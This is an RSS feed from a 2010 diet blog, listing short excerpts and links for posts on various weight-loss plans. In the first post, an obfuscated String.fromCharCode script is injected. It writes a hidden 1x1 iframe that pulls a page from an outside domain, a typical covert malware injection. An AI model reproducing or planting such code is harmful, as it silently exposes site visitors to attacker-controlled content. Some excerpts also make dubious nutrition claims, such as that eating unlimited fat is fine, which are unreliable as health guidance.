http://bestdietstoday.com/blog Articles and discussions on diets, weight loss solutions and products. Thu, 24 Jun 2010 22:53:27 +0000 http://backend.userland.com/rss092 en Ok, so I have started my own custom weight loss plan. The plan focuses on building lean muscle and reducing fat. I will be posting all the stats once the diet is complete so stick around to see the results ;) document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))Share This http://bestdietstoday.com/blog/40/custom-diet-plan.html Northern California researchers believe that a diet enriched with low-fat diary foods will help most people live a healthier life.  Studies have shown that out of 22 to 45 volunteers that do not smoke and are roughly 60 pounds over weight, when consuming more dairy foods in every meal, results ... http://bestdietstoday.com/blog/39/more-servings-of-low-fat-dairy-foods-will-enhance-weight-loss.html As more and more people look for ways to optimize their health they continue to turn a critical eye to the foods they are eating. What they discover is that there are a bevy of delicious and nutritious substitutes for the highly caloric and unhealthy foods they have been eating ... http://bestdietstoday.com/blog/38/tofu-recipe.html Based on the popular reality television show, The Biggest Loser Club is an online diet program which was created to provide helpful information to the average person.  Not only will this weight loss program provide nutritional facts, but it is also an online community with interactive support.  This diet program was ... http://bestdietstoday.com/blog/37/the-biggest-loser-club.html The Prism Diet is another low carb diet that focuses on completely eliminating all sugar when eating and a huge emphasis on maintaining weight loss.  Keeping a low carb diet will eventually control the body for long term results if restricted enough.  It can be difficult for the average person, ... http://bestdietstoday.com/blog/36/the-prism-diet.html The Sonoma Diet was inspired by the Mediterranean Diet and the Food Guide Pyramid.  This newer diet program focuses on consuming fruit vegetables, beans, pasta, whole grains, nuts and seeds.  Within the diet, you will also consume dairy products, such as cheese and yogurt in smaller amounts, while eating the ... http://bestdietstoday.com/blog/35/the-sonoma-diet.html Weight Watchers is a commercialized program for people who want to lose weight.  The program focuses on low fat nutrition, exercising and counseling in a balanced cycle.  These three things will boost your energy and help lead you down the right track for improving your overall health. The program connects with ... http://bestdietstoday.com/blog/34/weight-watchers.html Consuming food and losing weight is a little harder than we actually think it is and the time of day that you are consuming your food really matters.  It is vital that you change the times during the day that you are eating and there is a plan that will ... http://bestdietstoday.com/blog/33/the-reverse-diet.html The Egg diet is a diet that will allow you to consume unlimited amounts of eggs, meat and fat.  Unlimited amounts of fat, is that possible?  Critics were skeptical at first, but in fact it is.  Once the stored fat is converted into glucose, the glucose then fuels the body ... http://bestdietstoday.com/blog/32/the-egg-diet.html Do you often get cravings for fast food? Try the two Fresco grilled soft tacos.  Pass over the regular soft taco and the rice packed, grilled, stuffed burrito and go Fresco instead. The end result you save 110 calories and 12 grams of fat with each taco, without sacrificing any ... http://bestdietstoday.com/blog/31/fast-food-fix.html